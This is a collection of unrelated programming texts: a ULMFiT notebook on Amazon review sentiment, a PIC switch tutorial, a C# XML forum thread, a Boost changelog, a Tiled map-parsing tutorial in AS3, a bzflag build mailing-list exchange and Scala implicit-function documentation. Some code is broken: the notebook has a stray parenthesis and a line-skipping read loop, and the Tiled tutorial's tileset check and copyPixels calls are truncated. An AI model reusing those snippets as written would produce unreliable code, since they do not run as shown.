# The idea of the paper (and it implementation explained in the [fast.ai deep learning course]()) is to learn a language model trained on a very large dataset, e.g. a Wikipedia dump. The intuition is that if a model is able to predict the next word at each word, it means it has learnt something about the structure of the language we are using.
#
# [Word2vec]() and the likes have lead to huge improvements on various NLP tasks. This could be seen as a first step to transfer learning, where the pre-trained word vectors correspond to a transfer of the embedding layer.
# The ambition of [Ulmfit]() (and others like [ELMO]() or the [Transformer language model]() recently introduced) is to progressively move the NLP field to the state where Computer Vision has risen thanks to the ImageNet challenge. Thanks to the ImageNet chalenge, today it is easy to download a model pre-trained on massive dataset of images, remove the last layer and replace it by a classifier or a regressor depending on the interest.
#
# With Ulmfit, the goal is for everyone to be able to use a pre-trained language model and use it a backbone which we can use along with a classifier and a regressor. The game-changing apect of transfer learning is that we are no longer limited by the size of trzining data! With only a fraction of the data size that was necessary before, we can trtain a classifier/regressor and have very good result with few labelled data.
#
# Given that labelled text data are difficult to get, in comparison with unlabelled text data which is almost infinite, transfer learning is likely to change radically the field of NLP, and help lead to a maturity state closer to computyer vision.
#
# The architecture for the language model used in ULMFit is the [AWD-LSTM language model]() by Merity.
#
# While we are using this language model for this experiment, we keep an eye open to a recently proposed character language model with [Contextual String Embedings]() by Akbik.
# # Content of this notebook
# This notebook illustrate the power of Ulmfit on a dataset of Amazon reviews available on Kaggle at.
# We use code from the excellent fastai course and use it for a different dataset. The original code is available at
#
# The data consists of 4M reviews that are either positives or negatives. Training a model with FastText classifier results in a f1 score of 0.916.
# We show that uing only a fraction of this dataset we are able to reach similar and even better results.
#
# We encourage you to try it on your own tasks!
# Note that if you are interested in Regression instead of classification, you can also do it following this [advice]().
# The notebook is organized as such:
#
# - Tokenize the reviews and create dictionaries
# - Download a pre-trained model and link the dictionary to the embedding layer of the model
# - Fine-tune the language model on the amaxon reviews texts
#
# We have then the backbone of our algorithm: a pre-trained language model fine-tuned on Amazon reviews
#
# - Add a classifier to the language model and train the classifier layer only
# - Gradually defreeze successive layers to train different layers on the amazon reviews
# - Run a full classification task for several epochs
# - Use the model for inference!
#
# We end this notebook by looking at the specific effect of training size on the overall performance. This is to test the hypothesis that the ULMFit model does not need much labeled data to perform well.
# # Data
# Before starting, you should download the data from, and put the extracted files into an ./Amazon folder somewher you like, and use this path for this notebook.
#
# Also, we recommend working on a dedicated environment (e.g. mkvirtualenv fastai). Then clone the fastai github repo and install requirements.
# In[2]:
from fastai.text import *
import html
import os
import pandas as pd
import pickle
import re
from sklearn.metrics import accuracy_score, f1_score, precision_score, recall_score, classification_report, confusion_matrix
from sklearn.model_selection import train_test_split
from time import time
# In[2]:
path = '/your/path/to/folder/Amazon'
train = []
with open(os.path.join(path, 'train.ft.txt'), 'r') as file:
for line in file:
train.append(file.readline())
test = []
with open(os.path.join(path, 'test.ft.txt'), 'r') as file:
for line in file:
test.append(file.readline())
# In[65]:
print(f'The train data contains {len(train)} examples')
print(f'The test data contains {len(test)} examples')
# In[3]:
BOS = 'xbos' # beginning-of-sentence tag
FLD = 'xfld' # data field tag
PATH=Path('/your/path/to/folder/Amazon')
CLAS_PATH=PATH/'amazon_class'
CLAS_PATH.mkdir(exist_ok=True)
LM_PATH=PATH/'amazon_lm'
LM_PATH.mkdir(exist_ok=True)
# In[12]:
# Each item is '__label__1/2' and then the review so we split to get texts and labels
trn_texts,trn_labels = [text[10:] for text in train], [text[:10] for text in train]
trn_labels = [0 if label == '__label__1' else 1 for label in trn_labels]
val_texts,val_labels = [text[10:] for text in test], [text[:10] for text in test]
val_labels = [0 if label == '__label__1' else 1 for label in val_labels]
# In[13]:
# Following fast.ai recommendations we put our data in pandas dataframes
col_names = ['labels','text']
df_trn = pd.DataFrame({'text':trn_texts, 'labels':trn_labels}, columns=col_names)
df_val = pd.DataFrame({'text':val_texts, 'labels':val_labels}, columns=col_names)
# In[66]:
df_trn.head(10)
# In[16]:
df_trn.to_csv(CLAS_PATH/'train.csv', header=False, index=False)
df_val.to_csv(CLAS_PATH/'test.csv', header=False, index=False)
# In[17]:
CLASSES = ['neg', 'pos']
(CLAS_PATH/'classes.txt').open('w').writelines(f'{o}\n' for o in CLASSES)
# # Language Model
# In[11]:
# We're going to fine tune the language model so it's ok to take some of the test set in our train data
# for the lm fine-tuning
trn_texts,val_texts = train_test_split(np.concatenate([trn_texts,val_texts]), test_size=0.1))
# In[19]:
# Here we use functions from the fast.ai course to get data
chunksize=24000
re1 = re.compile(r' +')
def fixup(x):
x = x.replace('#39;', "'").replace('amp;', '&').replace('#146;', "'").replace(
'nbsp;', ' ').replace('#36;', '$').replace('\\n', "\n").replace('quot;', "'").replace(
'
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Using Push Button Switch with PIC Microcontroller – CCS C
I hope that you already go through our first tutorial of CCS C Compiler, Getting Started with PIC Microcontroller – CCS C Compiler. In that tutorial we learn how to use an output pin of PIC Microcontroller by blinking an LED with a delay of 1 second. In this tutorial we will learn how to read the status of an input pin and to make decisions according to its state. For the demonstration of its working we are connecting an LED and a Micro Switch to PIC 16F877A microcontroller. Pin connected to LED is configured as an output and pin connected to switch is configured as input. We will program in such a way that when the switch is pressed, LED will glow for 2 seconds.
Connecting Switch to a Microcontroller
Circuit Diagram
VDD and VSS of PIC Microcontroller is connected to 5V and GND respectively to provide necessary power for its operation. 8MHz crystal will provide clock for the operation of the microcontroller and 22pF capacitors will stabilize the oscillations produced by the crystal. Pin RD0 (PIN 19) is configured as an input pin to which switch is connected and Pin RB0 (PIN 33) is configured as an output pin to which LED is connected. A 10KΩ resistor is used along with switch to ensure that the pin RD0 is at Logic HIGH (VDD) state when the switch is not pressed. Whenever the switch is pressed pin RD0 becomes Logic LOW (VSS) state. A 470Ω resistor is used to limit the current through the LED.
CCS C Code
#include <main.h> #use delay (clock=8000000) void main() { output_low(PIN_B0); //LED OFF output_float(PIN_D0); //Set RD0 as Input Pin //OR set_tris_x(0b00000001) while(TRUE) { if(input_state(PIN_D0) == 0) { output_high(PIN_B0); //LED ON delay_ms(2000); //2 Second Delay output_low(PIN_B0); //LED OFF } } }
If you are not familiar with functions used above, please read our first tutorial Getting Started with PIC Microcontroller – CCS C Compiler.
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Hey
What is the easiest way to read and write XML file to my C# program? Im looking for
Localiziation
Configuration
I imagine that the only difference is that I have to load the localization as soon as I load the program....
Thanks! :)
The System.Xml.Linq namespace is the easiest to use (in my opinion).
What changes are you expecting to make in different locales/countries?
try this to get xml fields to dataset then to gridview:
add namespace : using System.Xml.Linq;
DataSet ds = new DataSet(); ds.ReadXml(Server.MapPath("Events.xml")); GridView1.DataSource = ds.Tables[0].DefaultView; GridView1.DataBind();
I don't know about the localization or configuration bit but i did the code below to import data from an Xml file. I used an OpenFileDialogBox (fileOK method belongs to OpenFileDialogBox) and created a class called ObjectTypeState containing get/ set properties to store the imported data which was then displayed in a propertyGrid.
using System.Xml; ObjectTypeState objtyp = new ObjectTypeState(); ObjectTypeState objtype1 = new ObjectTypeState(); private void openFileDialog1_FileOk(object sender, CancelEventArgs e) { try { string path = openFileDialog1.FileName.ToString(); } catch (Exception ex) { throw (new Exception("Could not import state " + ex)); } } public ObjectTypeState importState(string path) { try { //Initialises instance of XmlDocument class called config XmlDocument config = new XmlDocument(); //Loads existing Xml document, located at directory this is stored in path and stores it into config config.Load(path); //Creates instance of all node within loaded Xml docuemnt and retrieves element by tag name XmlNodeList ObjectTypeID = config.GetElementsByTagName("ObjectID"); //Loops through foreach for each element specified by GetElementByTagName("") foreach (XmlNode n in ObjectTypeID) { //Converts XmlNode to XmlElement XmlElement _ObjectTypeID = (XmlElement)n; //Converts and stroes value of specified attribute in property of ObjectTypeState class objtyp.ObjectTypeID = Convert.ToInt32(_ObjectTypeID.GetAttribute("ID")); } XmlNodeList StateType = config.GetElementsByTagName("StateType"); foreach (XmlNode n in StateType) { XmlElement _statetype = (XmlElement)n; objtyp.StateType = Convert.ToInt32(_statetype.GetAttribute("ID")); } } catch (Exception e) { MessageBox.Show("Could not import file contents. Exception: " + e); } //Returns instance of ObjectTypeState class return objtyp; }
Hope this helps. (the code that goes on two lines are comments.
The System.Xml.Linq namespace is the easiest to use (in my opinion).
What changes are you expecting to make in different locales/countries?
Languages.....I may not have understood you or you might not have understood me because I think thats why you localization in implemented right?
Ive heard about LINQ but I see it more like "SQL" type thing, non related to localization.
try this to get xml fields to dataset then to gridview:
add namespace : using System.Xml.Linq;
1. DataSet ds = new DataSet();2. ds.ReadXml(Server.MapPath("Events.xml"));3. >GridView1.DataSource = ds.Tables[0].DefaultView;4. GridView1.DataBind();
Well I dont have any intrest in showing the data (at least not yet) but thanks for that :) Like I said I might problably have to use it in the future.
Im going to try to put a example of what I want to do (note that all I put above is invented code)
Lets say I have a XML file like this:
<config> <languages> <english> < </english> <spanish> < </spanish> </languages> </config>
(I do not even know if that is valid XML. Im just stating it as a example of what I want to do.)
This would be C# code
private void Form1_load() { loadvalues(english,textboxlabel.text,"Yes",lang.xml); } private void loadvalues(String language,String /*or object*/ nameofobject,String default,String languagefile) { //ALL THIS IS PSEUDOCODE xml x=new xml(); x.loadfile(languagefile.xml); String text=x.getvaluefor(nameofobject,language); if ((text=="") || (text==NULL)) { x.setvaluefor(nameofobject,default) } else { x.setvaluefor(nameofobject,text); } }
Basically that sums up what I want to do.....I hope it is explained correctly.
Edited by riahc3
Try using Linq to xml, and check here:
Try using Linq to xml, and check here:
Man that is a LONG document.........
I wish there was some kind of simply library for C# and working with XML files. Looks like a complete hassle...
It isnt easy nor well explained...
Look at that. It is talking about a variable named "c" What is c? Is it a String? A node? A array of numbers? etc. It doesnt specifiy at all clearly and easy what it is. That I think is a huge error.
Have a read through these articles about reading and writing to Xml. They are different ways of doing it but should be useful and i did it the way shown in the stack overflow link (the first one, i suggested it in my earlier reply in this thread).
Also if you want help bumping with comments like the last few probably won't help. It might be a good idea to do a search on DaniWeb for reading and writing Xml because i have seen a few in the past too.
Hope this helps, let me know if you get stuck (c looks like it is a string containing the contact info).
@riahc3, I assume your on about this:
foreach (c in contact.Nodes()) { Console.WriteLine(c); }
In which case
c is the local variable name used inside the foreach representing a node in
contact.Node object.
Assuming
c stands for contact in this case.
Edited by Mike Askew: Reword
Hope this helps, let me know if you get stuck (c looks like it is a string containing the contact info).
} In which case c is the local variable name used inside the foreach representing a node in contact.Node object.
This completely proves my point: One user thinks c is a string (what I though at first) while the other uses it is a contact.Node object. See how it is confusing?
ChrisHunter, my intention was not to bump and I apoligize if it came out that way. I ment that I will try LINQ to XML, I tried then commented that it isnt easy or well explained...
For now, Im using the registry to store/load data but I dont think its going to be a good idea come localization.
Objects have an overridable ToString() method that will at least show you the type of object (as a string) or, if overridden, will show you the contents.
To get the actual value, Elements, Nodes and Attributes can have a .Value property.
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- I was trying to implement (Coulomb's …
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- 18:53 Ticket #4417 (boost\interprocess\file_mapping compilation errors) created by
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- minor tweaks
- 18:00 Ticket #4368 (boost::recursive_mutex constructor potential resource leak) closed by
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- Fix for issue #4368 --- ensure mutex is destroyed if setattr call fails
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- Spirit: merging from trunk
- 17:39 Ticket #4225 (boost::once_flag suffers from static initialization problem) closed by
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- Merge to release
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- Tidied up call_once to remove unused throw_count stuff
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- Fix for issue #4225 to allow static initialization of boost::once_flag
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- Merge format from the trunk. This should fix the regressions resulting …
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- Added voronoi visualizer. Made clipping update.
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- Implemented the run-time and compile-times version of isign function …
- 15:33 Ticket #4413 (wait_for_any hangs up on empty intervals.) closed by
- fixed: Fixed on trunk
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- Fix for issue #4413 --- allow wait_for_any to work with empty ranges
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- Merged boost.thread changes over from trunk
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- Spirit: Fixing regression in Karma caused by a semantic change in proto
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- Added static_safe_avg<> and mpl::safe_avg<> metafunctions
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- + added full support for function composition/chaining
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- Merge to release
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- Fence class for hppa.
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- 03:00 Ticket #4415 (Posible "Segmentation Fault" in shared_ptr destructor) created by
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- Organise the quickbook release notes a bit better.
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- Fix inspect issues.
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- merged revision 63705
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- mention indent_buf_in/out as method for modifying indentation
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- merged fusion from the trunk (3)
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- Spirit: integrated lexer with Qi's debug facilities
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- Spirit: Fixing Qi example for ggc
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- finished work for switching the endianness of an integral constant
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- Add documentation for iostreams indent code.
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- added the new folds to the changelist
- 12:29 Ticket #2501 (upgrade_to_unique_lock doesn't compile on C++0x mode) closed by
- fixed: Fixed on trunk
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- Fixed lcm test
- 12:09 Ticket #4411 (date_time missing "Australia/Eucla" time zone) created by
- The ''Australia/Eucla'' time zone from the tz (zoneinfo) database is …
- 11:25 Changeset [63750] by
- Ensure futures and shared_mutex work on MSVC-10; fix for issue #2501
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- checked in the draft
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- Consolidate svn:mergeinfo.
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- Set push and pop pragmas to be guarded by the same logic.
- 06:28 Ticket #4407 (remove_cv has numerous errors in Visual Studios 2010) closed by
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- Make all references to the detail:: namespace fully qualified so we don't …
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- Visual C++ 9.0, Warning level 4 […] […]
- 03:50 Changeset [63737] by
- Merge rebuilt fusion documentation with missing file.
- 03:47 Ticket #3563 (Warnings using g++ 4.4.0 on date_time/posix_time/conversion.hpp) closed by
- fixed: There is no conceptual difference. And the problem is fixed.
- 03:14 Changeset [63736] by
- Copy tests from spirit 2 branch. The only remaining difference is the …
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- Fix duplicate image attribute detection.
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- Fix xml encoding in a few places.
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- Fix documentation info handling in included files. Refs #3907.
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- Fix identifier generation for headings. Refs #1436.
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- Rebuild fusion docs - with missing file this time.
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- Scheme compiler fixes for g++ 4.2
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Parsing and Rendering Tiled TMX Format Maps in Your Own Game Engine
In my previous article, we looked at Tiled Map Editor as a tool for making levels for your games. In this tutorial, I'll take you through the next step: parsing and rendering those maps in your engine.
Note: Although this tutorial is written using Flash and AS3, you should be able to use the same techniques and concepts in almost any game development environment.
Requirements
- Tiled version 0.8.1:
- TMX map and tileset from here. If you followed my Introduction to Tiled tutorial you should already have these.
Saving in XML Format
Using the TMX specification we can store the data in a variety of ways. For this tutorial we will be saving our map in the XML format. If you plan on using the TMX file included in the requirements section you can skip to the next section.
If you made your own map you will need to tell Tiled to save it as XML. To do this, open your map with Tiled, and select Edit > Preferences...
For the "Store tile layer data as:" dropdown box, select XML, as shown in the image below:
Now when you save the map it will be stored in XML format. Feel free to open the TMX file with a text editor to take a peek inside. Here's a snippet of what you can expect to find:
<map version="1.0" orientation="orthogonal" width="20" height="20" tilewidth="32" tileheight="32"> <tileset firstgid="1" name="grass-tiles-2-small" tilewidth="32" tileheight="32"> <image source="grass-tiles-2-small.png" width="384" height="192"/> </tileset> <tileset firstgid="73" name="tree2-final" tilewidth="32" tileheight="32"> <image source="tree2-final.png" width="256" height="256"/> </tileset> <layer name="Background" width="20" height="20"> <data> <tile gid="13"/> <tile gid="2"/> <tile gid="1"/> ... </data> </layer> <layer name="Top" width="20" height="20"> <data> <tile gid="0"/> ... </data> </layer> <objectgroup name="Collision" width="20" height="20"> <object x="287" y="354" width="127" height="60"/> </objectgroup> </map>
As you can see, it simply stores all the map information in this handy XML format. The properties should mostly be straightforward, with the exception of
gid - I will go into a more in-depth explanation of this later on in the tutorial.
Before we move on, I would like to direct your attention to the
objectgroup "
Collision" element. As you may recall from the map creation tutorial, we specified the collision area around the tree; this is how it is stored.
You can specify power-ups or player spawn point in the same manner, so you can imagine how many possibilities there are for Tiled as a map editor!
Core Outline
Now here's a brief rundown on how we will be getting our map into the game:
- Read in the TMX file.
- Parse the TMX file as an XML file.
- Load all the tileset images.
- Arrange the tileset images into our map layout, layer by layer.
- Read map object.
Reading in the TMX File
As far as your program is concerned, this is just an XML file, so the first thing we want to do is read it in. Most languages have an XML library for this; in the case of AS3 I will use the XML class to store the XML information and a URLLoader to read in the TMX file.
xmlLoader=new URLLoader(); xmlLoader.addEventListener(Event.COMPLETE, xmlLoadComplete); xmlLoader.load(new URLRequest("../assets/example.tmx"));
This is a simple file reader for
"../assets/example.tmx". It assumes that the TMX file is located in your project directory under the "assets" folder. We just need a function to handle when the file read is complete:
private function xmlLoadComplete(e:Event):void { xml = new XML(e.target.data); mapWidth = xml.attribute("width"); mapHeight = xml.attribute("height"); tileWidth = xml.attribute("tilewidth"); tileHeight = xml.attribute("tileheight"); var xmlCounter:uint = 0; for each (var tileset:XML in xml.tileset) { var imageWidth:uint = xml.tileset.image.attribute("width")[xmlCounter]; var imageHeight:uint = xml.tileset.image.attribute("height")[xmlCounter]; var firstGid:uint = xml.tileset.attribute("firstgid")[xmlCounter]; var tilesetName:String = xml.tileset.attribute("name")[xmlCounter]; var tilesetTileWidth:uint = xml.tileset.attribute("tilewidth")[xmlCounter]; var tilesetTileHeight:uint = xml.tileset.attribute("tileheight")[xmlCounter]; var tilesetImagePath:String = xml.tileset.image.attribute("source")[xmlCounter]; tileSets.push(new TileSet(firstGid, tilesetName, tilesetTileWidth, tilesetTileHeight, tilesetImagePath, imageWidth, imageHeight)); xmlCounter++; } totalTileSets = xmlCounter; }
This is where the initial parsing is taking place. (There are a few variables we will keep track of outside this function since we will use them later.)
Once we have the map data stored, we move onto parsing each tileset. I've created a class to store each tileset's information. We'll push each of those class instances in an array since we will be using them later:
public class TileSet { public var firstgid:uint; public var lastgid:uint; public var name:String; public var tileWidth:uint; public var source:String; public var tileHeight:uint; public var imageWidth:uint; public var imageHeight:uint; public var bitmapData:BitmapData; public var tileAmountWidth:uint; public function TileSet(firstgid, name, tileWidth, tileHeight, source, imageWidth, imageHeight) { this.firstgid = firstgid; this.name = name; this.tileWidth = tileWidth; this.tileHeight = tileHeight; this.source = source; this.imageWidth = imageWidth; this.imageHeight = imageHeight; tileAmountWidth = Math.floor(imageWidth / tileWidth); lastgid = tileAmountWidth * Math.floor(imageHeight / tileHeight) + firstgid - 1; } }
Again, you can see that
gid appears again, in the
firstgid and
lastgid variables. Let's now look at what this is for.
Understanding "
gid"
For each tile, we need to somehow associate it with a tileset and a particular location on that tileset. This is the purpose of the
gid.
Look at the
grass-tiles-2-small.png tileset. It contains 72 distinct tiles:
We give each of these tiles a unique
gid from 1-72, so that we can refer to any one with a single number. However, the TMX format only specifies the first
gid of the tileset, since all of the other
gids can be derived from knowing the size of the tileset and the size of each individual tile.
Here's a handy image to help visualize and explain the process.
So if we placed the bottom right tile of this tileset on a map somewhere, we would store the
gid 72 at that location on the map.
Now, in the example TMX file above, you will notice that
tree2-final.png has a
firstgid of 73. That's because we continue counting up on the
gids, and we don't reset it to 1 for each tileset.
In summary, a
gid is a unique ID given to each tile of each tileset within a TMX file, based on the position of the tile within the tileset, and the number of tilesets referred to in the TMX file.
Now we want to load all the tileset source images into memory so we can put our map together with them. If you aren't writing this in AS3, the only thing you need to know is that we're loading the images for each tileset here:
// load images for tileset for (var i = 0; i < totalTileSets; i++) { var loader = new TileCodeEventLoader(); loader.contentLoaderInfo.addEventListener(Event.COMPLETE, tilesLoadComplete); loader.contentLoaderInfo.addEventListener(ProgressEvent.PROGRESS, progressHandler); loader.tileSet = tileSets[i]; loader.load(new URLRequest("../assets/" + tileSets[i].source)); eventLoaders.push(loader); }
There's a few AS3-specific things going on here, such as using the Loader class to bring in the tileset images. (More specifically, it is an extended
Loader, simply so we can store the
TileSet instances inside each
Loader. This is so that when the loader completes we can easily correlate the Loader with the tileset.)
This may sound complicated but the code is really quite simple:
public class TileCodeEventLoader extends Loader { public var tileSet:TileSet; }
Now before we start taking these tilesets and creating the map with them we need to create a base image to put them on:
screenBitmap = new Bitmap(new BitmapData(mapWidth * tileWidth, mapHeight * tileHeight, false, 0x22ffff)); screenBitmapTopLayer = new Bitmap(new BitmapData(mapWidth*tileWidth,mapHeight*tileHeight,true,0));
We will be copying the tile data onto these bitmap images so that we can use them as a background. The reason I set up two images is so we can have a top layer and a bottom layer, and have the player move in-between them in order to provide perspective. We also specify that the top layer should have an alpha channel.
For the actual event listeners for the loaders we can use this code:
private function progressHandler(event:ProgressEvent):void { trace("progressHandler: bytesLoaded=" + event.bytesLoaded + " bytesTotal=" + event.bytesTotal); }
This is a fun function since you can track how far the image has loaded, and can therefore provide feedback to the user about how fast things are going, such as a progress bar.
private function tilesLoadComplete (e:Event):void { var currentTileset = e.target.loader.tileSet; currentTileset.bitmapData = Bitmap(e.target.content).bitmapData; tileSetsLoaded++; // wait until all the tileset images are loaded before we combine them layer by layer into one bitmap if (tileSetsLoaded == totalTileSets) { addTileBitmapData(); } }
Here we store the bitmap data with the tileset associated with it. We also count how many tilesets have completely loaded, and when they're all done, we can call a function (I named it
addTileBitmapData in this case) to start putting the tile pieces together.
Combining the Tiles
To combine the tiles into a single image, we want to build it up layer by layer so it will be displayed the same way the preview window in Tiled appears.
Here is what the final function will look like; the comments I've included within the source code should adequately explain what's going on without getting too messy into the details. I should note that this can be implemented in many different ways, and your implementation can look completely different than mine.
private function addTileBitmapData():void { // load each layer for each (var layer:XML in xml.layer) { var tiles:Array = new Array(); var tileLength:uint = 0; // assign the gid to each location in the layer for each (var tile:XML in layer.data.tile) { var gid:Number = tile.attribute("gid"); // if gid > 0 if (gid > 0) { tiles[tileLength] = gid; } tileLength++; } // outer for loop continues in next snippets
What's happening here is we're parsing only the tiles with
gids that are above 0, since 0 indicates an empty tile, and storing them in an array. Since there are so many "0 tiles" in our top layer, it would be inefficient to store all of them in memory. It's important to note that we're storing the location of the
gid with a counter because we will be using its index in the array later.
var useBitmap:BitmapData; var layerName:String = layer.attribute("name")[0]; // decide where we're going to put the layer var layerMap:int = 0; switch(layerName) { case "Top": layerMap = 1; break; default: trace("using base layer"); }
In this section we're parsing out the layer name, and checking if it's equal to "Top". If it is, we set a flag so we know to copy it onto the top bitmap layer. We can be really flexible with functions like this, and use even more layers arranged in any order.
// store the gid into a 2d array var tileCoordinates:Array = new Array(); for (var tileX:int = 0; tileX < mapWidth; tileX++) { tileCoordinates[tileX] = new Array(); for (var tileY:int = 0; tileY < mapHeight; tileY++) { tileCoordinates[tileX][tileY] = tiles[(tileX+(tileY*mapWidth))]; } }
Now here we're storing the
gid, which we parsed at the beginning, into a 2D array. You'll notice the double array initializations; this is simply a way of handling 2D arrays in AS3.
There's a bit of math going on as well. Remember when we initialized the
tiles array from above, and how we kept the index with it? We will now use the index to calculate the coordinate that the
gid belongs to. This image demonstrate what's going on:
So for this example, we get the
gid at index 27 in the
tiles array, and store it at
tileCoordinates[7][1]. Perfect!
for (var spriteForX:int = 0; spriteForX < mapWidth; spriteForX++) { for (var spriteForY:int = 0; spriteForY < mapHeight; spriteForY++) { var tileGid:int = int(tileCoordinates[spriteForX][spriteForY]); var currentTileset:TileSet; // only use tiles from this tileset (we get the source image from here) for each( var tileset1:TileSet in tileSets) { if (tileGid >= tileset1.firstgid-1 && tileGid { // we found the right tileset for this gid! currentTileset = tileset1; break; } } var destY:int = spriteForY * tileWidth; var destX:int = spriteForX * tileWidth; // basic math to find out where the tile is coming from on the source image tileGid -= currentTileset.firstgid -1 ; var sourceY:int = Math.ceil(tileGid/currentTileset.tileAmountWidth)-1; var sourceX:int = tileGid - (currentTileset.tileAmountWidth * sourceY) - 1; // copy the tile from the tileset onto our bitmap if(layerMap == 0) { screenBitmap); } else if (layerMap == 1) { screenBitmapTopLayer); } } } }
This is where we finally get down to copying the tileset into our map.
Initially we start by looping through each tile coordinate on the map, and for each tile coordinate we get the
gid and check for the stored tileset that matches it, by checking if it lies between the
firstgid and our calculated
lastgid.
If you understood the Understanding "
gid" section from above, this math should make sense. In the most basic terms, it's taking the tile coordinate on the tileset (
sourceX and
sourceY) and copying it onto our map at the tile location we've looped to (
destX and
destY).
Finally, at the end we call the
copyPixel function to copy the tile image onto either the top or base layer.
Adding Objects
Now that copying the layers onto the map is done, let's look into loading the collision objects. This is very powerful because as well as using it for collision objects, we can also use it for any other object, such as a power-up, or a player spawn location, just as long as we've specified it with Tiled.
So at the bottom of the
addTileBitmapData function, let's put in the following code:
for each (var objectgroup:XML in xml.objectgroup) { var objectGroup:String = objectgroup.attribute("name"); switch(objectGroup) { case "Collision": for each (var object:XML in objectgroup.object) { var rectangle:Shape = new Shape(); rectangle.graphics.beginFill(0x0099CC, 1); rectangle.graphics.drawRect(0, 0, object.attribute("width"), object.attribute("height") ); rectangle.graphics.endFill(); rectangle.x = object.attribute("x"); rectangle.y = object.attribute("y"); collisionTiles.push(rectangle); addChild(rectangle); } break; default: trace("unrecognized object type:", objectgroup.attribute("name")); } }
This will loop through the object layers, and look for the layer with the name "
Collision". When it finds it, it takes each object in that layer, creates a rectangle at that position and stores it in the
collisionTiles array. That way we still have a reference to it, and we can loop through to check it for collisions if we had a player.
(Depending on how your system handles collisions, you may want to do something different.)
Displaying the Map
Finally, to display the map, we want to first render the background and then the foreground, in order to get the layering correct. In other languages, this is simply a matter of rendering the image.
// load background layer addChild(screenBitmap); // rectangle just to demonstrate how something would look in-between layers var playerExample:Shape = new Shape(); playerExample.graphics.beginFill(0x0099CC, 1); playerExample.graphics.lineStyle(2); // outline rectangle playerExample.graphics.drawRect(0, 0, 100, 100 ); playerExample.graphics.endFill(); playerExample.x = 420; playerExample.y = 260; collisionTiles.push(playerExample); addChild(playerExample); // load top layer addChild(screenBitmapTopLayer);
I've added a bit of code in between the layers here just to demonstrate with a rectangle that the layering does indeed work. Here's the final result:
Thank you for taking the time to complete the tutorial. I've included a zip containing a complete FlashDevelop project with all of the source code and assets.
Additional Reading
If you're interested in doing more things with Tiled, one thing I didn't cover was properties. Using properties is a small jump from parsing the layer names, and it allows you to set a large number of options. For example, if you wanted an enemy spawn point, you could specify the type of enemy, the size, the colour, and everything, from inside the Tiled map editor!
Lastly, as you may have noticed, XML is not the most efficient format to store the TMX data. CSV is a nice medium between easy parsing and better storage, but there is also base64 (uncompressed, zlib compressed, and gzip compressed). If you're interested in using these formats instead of XML, check out the Tiled wiki's page on the TMX format.
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got a test2 up. It's a full tarball, with XF86VidMode and
manpages working.
--
--
Eric Anholt
anholt@...
I've gone and set it up against the latest cvs now. I've also got
manpages compiling/installing again. The dependency in src/platform/
is still unfixed but won't stop people from compiling (it's just a
little annoying when making changes to the X files).
Also, I'm not sure if xf86vidmode works any more. I've never had it
working on FreeBSD with bzflag. The config script finds vidmode, and
I think I've got the code set up to handle configure detection of it,
but I don't get the video modes option in the options menu when I run.
If someone else could try test1.stripped (unless I get a test2 up
with the manpage fixes) and there is no problem, I'd like to add the
new directories, commit the Makefile.ams, and the configure-related
stuff. This wouldn't break the current make system unless someone
did ./autogen.sh ./configure.
After that, the only things to do to finally get it going would be to
move the platform-specific files to their subdirectories (How do we
repo-copy on SF?), apply the few remaining diffs (Mostly just adding
#include "config.h" and changing VERSION to VERSION_NUM because of
namespace conflicts with automake), and change the build instructions.
.
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--
Eric Anholt
anholt@...
Awesome, I may get to testing your automake changes tomorrow, but I'm
preparing for LinuxWorld, Forum2000 and Intel Developer Forum, so I'm
kinda swamped. ;-)
I would recommend you checkout the original 1.7d9 version from cvs into
a separate directory:
cvs get -r v1_7d_9 bzflag
Make your changes there, then use "cvs update -PdA" to update it to the
current version.
For man pages, just see the Makefile in mzn/ it takes the *.[0-9]s files
and runs them through sed to convert INSTALL_DATA_DIR into the actual
install data dir. It then either "pack"s them or "gzip"s them if
desired. That's all there is, they are not extracted from any other
documentation at present, they are maintained separately..
>
> However, it is against the 1.7d9 distribution and not cvs. I could
> convert it over to cvs pretty quickly.
>
> Unfortunately, I couldn't test it on linux. Stupid LinuxPPC doesn't
> come bundled with development software on the base install CD (It's
> on the other "extra software" disk), and I don't have enough quota on
> SF to unpack it.
>
> I might try grabbing CVS now and messing with it (but not committing
> yet of course).
>
> How do the manpages get made? I'm a little confused on the process.
--
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All I need to know I could have learned in Kindergarten
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Implicit Function TypesEdit this page on GitHub
Implicit functions are functions with (only) implicit parameters. Their types are implicit function types. Here is an example of an implicit function type:
type Executable[T] = given ExecutionContext => T
An implicit function is applied to synthesized arguments, in the same way a method with a given clause is applied. For instance:
given ec as ExecutionContext = ... def f(x: Int): Executable[Int] = ... f(2) given ec // explicit argument f(2) // argument is inferred
Conversely, if the expected type of an expression
E is an implicit function type
given (T_1, ..., T_n) => U and
E is not already an
implicit function literal,
E is converted to an implicit function literal by rewriting to
given (x_1: T1, ..., x_n: Tn) => E
where the names
x_1, ...,
x_n are arbitrary. This expansion is performed
before the expression
E is typechecked, which means that
x_1, ...,
x_n
are available as givens in
E.
Like their types, implicit function literals are written with a
given prefix. They differ from normal function literals in two ways:
- Their parameters are defined with a given clause.
- Their types are implicit function types.
For example, continuing with the previous definitions,
def g(arg: Executable[Int]) = ... g(22) // is expanded to g(given ev => 22) g(f(2)) // is expanded to g(given ev => (f(2) given ev)) g(given ctx => f(22) given ctx) // is left as it is
Example: Builder Pattern
Implicit function types have considerable expressive power. For instance, here is how they can support the "builder pattern", where the aim is to construct tables like this:
table { row { cell("top left") cell("top right") } row { cell("bottom left") cell("bottom right") } }
The idea is to define classes for
Table and
Row that allow
addition of elements via
add:
class Table { val rows = new ArrayBuffer[Row] def add(r: Row): Unit = rows += r override def toString = rows.mkString("Table(", ", ", ")") } class Row { val cells = new ArrayBuffer[Cell] def add(c: Cell): Unit = cells += c override def toString = cells.mkString("Row(", ", ", ")") } case class Cell(elem: String)
Then, the
table,
row and
cell constructor methods can be defined
with implicit function types as parameters to avoid the plumbing boilerplate
that would otherwise be necessary.
def table(init: given Table => Unit) = { given t as Table init t } def row(init: given Row => Unit) given (t: Table) = { given r as Row init t.add(r) } def cell(str: String) given (r: Row) = r.add(new Cell(str))
With that setup, the table construction code above compiles and expands to:
table { given ($t: Table) => row { given ($r: Row) => cell("top left") given $r cell("top right") given $r } given $t row { given ($r: Row) => cell("bottom left") given $r cell("bottom right") given $r } given $t }
Example: Postconditions
As a larger example, here is a way to define constructs for checking arbitrary postconditions using an extension method
ensuring so that the checked result can be referred to simply by
result. The example combines opaque aliases, implicit function types, and extension methods to provide a zero-overhead abstraction.
